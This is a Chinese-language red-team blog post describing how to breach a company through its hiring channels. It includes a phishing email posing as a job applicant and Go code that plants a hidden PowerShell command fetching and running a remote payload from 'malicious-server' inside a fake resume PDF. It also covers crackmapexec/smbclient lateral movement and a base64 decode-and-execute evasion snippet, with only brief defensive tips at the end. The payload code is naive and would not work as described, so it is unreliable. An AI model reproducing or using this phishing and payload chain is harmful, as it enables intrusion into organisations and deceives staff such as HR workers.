一、从一次「招聘陷阱」中的反向渗透说起
大约两年前,我在一次安全事件分析中接触到一个颇具代表性的案例。一家企业的HR收到了一封邮件,邮件看起来像是一个求职者发来的简历和作品集。乍一看,毫无破绽,附件是一个看起来正常的PDF文件。但实际上,这是一场精心策划的社工攻击,附件中嵌套了一种少见的漏洞利用链,成功让攻击者在目标企业的内网中立足。这次事件不仅暴露了企业在招聘环节的安全盲区,也让我开始思考:作为红队,如果我们要攻破一个目标,利用招聘这一入口会是怎样的一个流程?
这篇文章将围绕「红队招聘信息」这一主题,从攻击思维的角度出发,拆解完整的渗透链条,并结合自制工具和绕过技巧,分享如何在招聘过程中找到缺口实现攻击目标。
---
二、「招聘信息」中的潜在攻击面剖析
在任何攻击链条中,信息收集总是第一步,而招聘本身就是一个信息公开的窗口。企业通过线上招聘平台、官网招聘页面或社交媒体发布职位需求和联系方式,这些信息往往为攻击者提供了大量有价值的线索。
攻击面1:公开的邮箱地址
几乎所有发布招聘信息的企业都会附上HR邮箱,方便求职者投递简历。而这些邮箱地址对攻击者来说就是绝佳的入口。以下是一些常见的利用方式:
- 钓鱼邮件投递
- 直接向目标邮箱发送带有恶意附件或链接的邮件,利用社会工程学让受害者点击。
- 邮箱爆破
- 如果邮箱使用的是过于简单的密码或未启用多因素认证,可能被暴力破解。
- 社工信息收集
- 通过与HR的邮件往来,套取更多关于企业内部的情报。
攻击面2:招聘信息中的技术细节
不少企业会在招聘需求中写明技术栈,例如需要熟悉某种编程语言、使用某个框架甚至部署在某种云服务上。这些细节透露了企业的技术选型,而技术选型往往意味着潜在的攻击面。例如:
- 企业使用的是某老旧的框架,可能存在已公开的漏洞。
- 云服务配置不当可能导致存储桶未授权访问或API密钥泄露。
攻击面3:简历上传入口
一些企业提供了直接上传简历的功能,例如通过官网的表单提交PDF或Word文档。这些上传接口如果缺乏安全审计,很容易成为文件上传漏洞的突破口。
---
三、实战案例:从一封“简历”到内网横行
目标描述: 假设目标企业是一家中小型科技公司,有一个公开的招聘邮箱及简历上传接口。我们希望通过渗透招聘系统,最终实现内网控制。
1. 信息收集
第一步,我们从公开渠道收集企业“招聘信息”相关的情报,包括:
- 企业官网上的招聘页面,发现其使用了一个名为“企业人才管理系统”的第三方平台。
- 招聘邮件的后台地址为
[email protected],通过DNS查询发现可能托管在Microsoft Office 365上。 - 招聘需求中明确提到使用某老旧版本的Struts框架。
通过这些信息,我们锁定了两个主要攻击点:邮件钓鱼和上传漏洞利用。
---
2. 构造恶意简历的Payload
我们决定从招聘邮箱入手,发送一封伪装成求职者的邮件,附件是一个恶意简历。为了达到免杀的目的,我选择使用了一种双层木马加载技术,将恶意代码中转加载到目标机器的内存中,避免直接触发EDR或杀软。
以下是简历构造的代码:
<pre><code class="language-go">package main
import ( "os" "os/exec" )
// 使用双层载荷加载恶意代码 func main() { payload := []byte("powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://malicious-server/payload')") tempFile := "resume.pdf"
// 创建一个伪装的PDF文件 f, _ := os.Create(tempFile) defer f.Close()
// 写入恶意载荷 f.Write(payload)
// 触发载荷执行 exec.Command("cmd", "/C", tempFile).Run() }</code></pre>
说明:
- 该代码生成了一个伪装成PDF的恶意文件,伪装层使其看上去是正常的简历。
payload部分通过Powershell加载远程控制命令。
---
3. 投递钓鱼邮件
接下来,我们将这个恶意PDF文件通过邮件发送到目标邮箱。为了提升成功率,邮件的内容设计得特别逼真:
<pre><code>主题:求职申请 - 高级Java开发工程师

内容: 尊敬的HR,您好!
我是张某某,看到贵公司招聘高级Java开发师的职位,我非常感兴趣。以下是我的简历和相关作品链接,请查阅。
附件:resume.pdf</code></pre>
邮件发送后,我们通过C2服务器监听目标是否中招。
---
4. 内网渗透与横向移动
当目标HR打开恶意简历时,Payload成功在其机器上执行。我们获得了目标的初始权限。通过内存驻留的木马,我们进一步展开内网横向移动:
<pre><code class="language-shell"># 使用NTLM协议进行内网信息收集 crackmapexec smb 192.168.1.0/24 -u admin -p password --shares

列出文件共享
smbclient \\\\192.168.1.10\\share -U admin</code></pre>
最终,我们通过域控制器的某个弱口令成功获取了整个企业内网的控制权限。
---
四、绕过检测:如何避免触发EDR/AV
在实际攻击中,绕过EDR和杀软是关键。以下是我经常使用的一些免杀技巧:
- 内存加载:避免在磁盘上留下恶意文件,全程在内存中运行。
- 分段加密:将Payload分段加密,在目标主机上解密执行。
- 流量伪装:C2通信时使用HTTPS或DNS通道伪装流量。

以下是一个分段加密的Go实现:
<pre><code class="language-go">package main
import ( "encoding/base64" "os/exec" "strings" )
func main() { encoded := "aGVsbG8gd29ybGQ=" // 示例Base64字符串 data, _ := base64.StdEncoding.DecodeString(encoded)
// 执行解密后的命令 cmd := exec.Command("cmd", "/C", string(data)) cmd.Run() }</code></pre>
---
五、企业如何对抗这类攻击?
虽然我是红队,但也希望企业能提高安全意识。以下是一些建议:
- 招聘邮箱启用多因素验证,并限制对未知IP地址的访问。
- 简历上传接口加入严格的文件格式校验,禁止脚本内容嵌入。
- 招聘信息中减少暴露敏感技术细节,例如具体的框架版本。
---
六、我的经验总结
招聘信息看似无害,但对红队来说却是一个极具潜力的攻击入口。从信息收集到漏洞利用,再到内网横向移动和权限提升,这一主题几乎可以覆盖大部分攻击链条。最重要的是,细节决定成败——任何一个未注意到的公开信息,都可能成为攻击者的突破口。
在实际行动中,攻击者最需要的,是把人性的弱点和技术的漏洞结合起来。而作为红队的一员,我们不仅要技术过硬,更要懂得如何伪装成“求职者”,用另一种身份去撬开目标的大门。